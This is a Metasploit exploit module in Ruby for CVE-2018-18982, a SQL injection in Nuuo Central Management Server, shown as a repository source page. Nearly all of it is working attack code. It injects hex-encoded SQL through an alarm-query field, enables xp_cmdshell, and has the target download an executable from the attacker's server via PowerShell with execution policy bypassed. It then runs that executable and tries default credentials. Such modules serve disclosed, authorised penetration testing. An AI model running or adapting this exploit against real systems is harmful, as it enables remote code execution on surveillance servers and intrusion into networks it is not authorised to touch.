Path: blob/master/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Exploit::Remote::Nuuo11include Msf::Exploit::Remote::HttpServer1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',18'Description' => %q{19The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.20This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is21installed by default, xp_cmdshell can be enabled and abused to achieve code execution.22This module will either use a provided session number (which can be guessed with an auxiliary23module) or attempt to login using a provided username and password - it will also try the24default credentials if nothing is provided.25},26'License' => MSF_LICENSE,27'Author' => [28'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module29],30'References' => [31[ 'CVE', '2018-18982' ],32[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],33[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],34[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]3536],37'Platform' => 'win',38'Arch' => ARCH_X86,39'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground40'Targets' => [41[ 'Nuuo Central Management Server <= v2.10.0', {} ],42],43'Notes' => {44'SideEffects' => [ ARTIFACTS_ON_DISK ],45'Stability' => UNKNOWN_STABILITY,46'Reliability' => UNKNOWN_RELIABILITY47},48'Privileged' => false, # we run as NETWORK_SERVICE49'DisclosureDate' => '2018-10-11',50'DefaultTarget' => 051)52)53register_options [54Opt::RPORT(5180),55OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),56OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])57]58end5960def inject_sql(sql)61res = ncs_send_request({62'method' => 'GETOPENALARM',63'user_session' => user_session,64'device_id' => "#{rand_text_numeric(4)}",65'source_server' => "';#{sql};-- ",66'last_one' => "#{rand_text_numeric(4)}"67})68end6970# Handle incoming requests from the server71def on_request_uri(cli, request)72unless @pl73print_error("A request came in, but the payload wasn't ready yet!")74return75end76print_good('Sending the payload to CMS...')77send_response(cli, @pl)7879Rex.sleep(3)8081print_status('Executing shell...')82inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""))83register_file_for_cleanup("c:/windows/temp/#{@filename}")84end8586def create_hex_cmd(cmd)87var = rand_text_alpha(2)88hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"89cmd.each_byte { |b|90hex_cmd << b.to_i.to_s(16)91}92hex_cmd << "; exec (@#{var})"93end9495def primer96# we need to roll our own here instead of using the MSSQL mixins97# (tried that and it doesn't work)98service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"99print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")100@filename = "#{rand_text_alpha_lower(8..10)}.exe"101ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"102download_pl = %{xp_cmdshell }103download_pl << %{'cd C:\\windows\\temp\\ && }104download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }105download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }106download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }107download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }108download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}109110print_status('Injecting PowerShell payload')111inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))112register_file_for_cleanup("c:/windows/temp/#{ps1}")113end114115def exploit116connect117ncs_login118fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') unless user_session119120@pl = generate_payload_exe121122# do not use SSL123ssl = datastore['SSL']124datastore['SSL'] = false125126begin127Timeout.timeout(datastore['HTTPDELAY']) { super }128rescue Timeout::Error129datastore['SSL'] = ssl130end131end132end133134135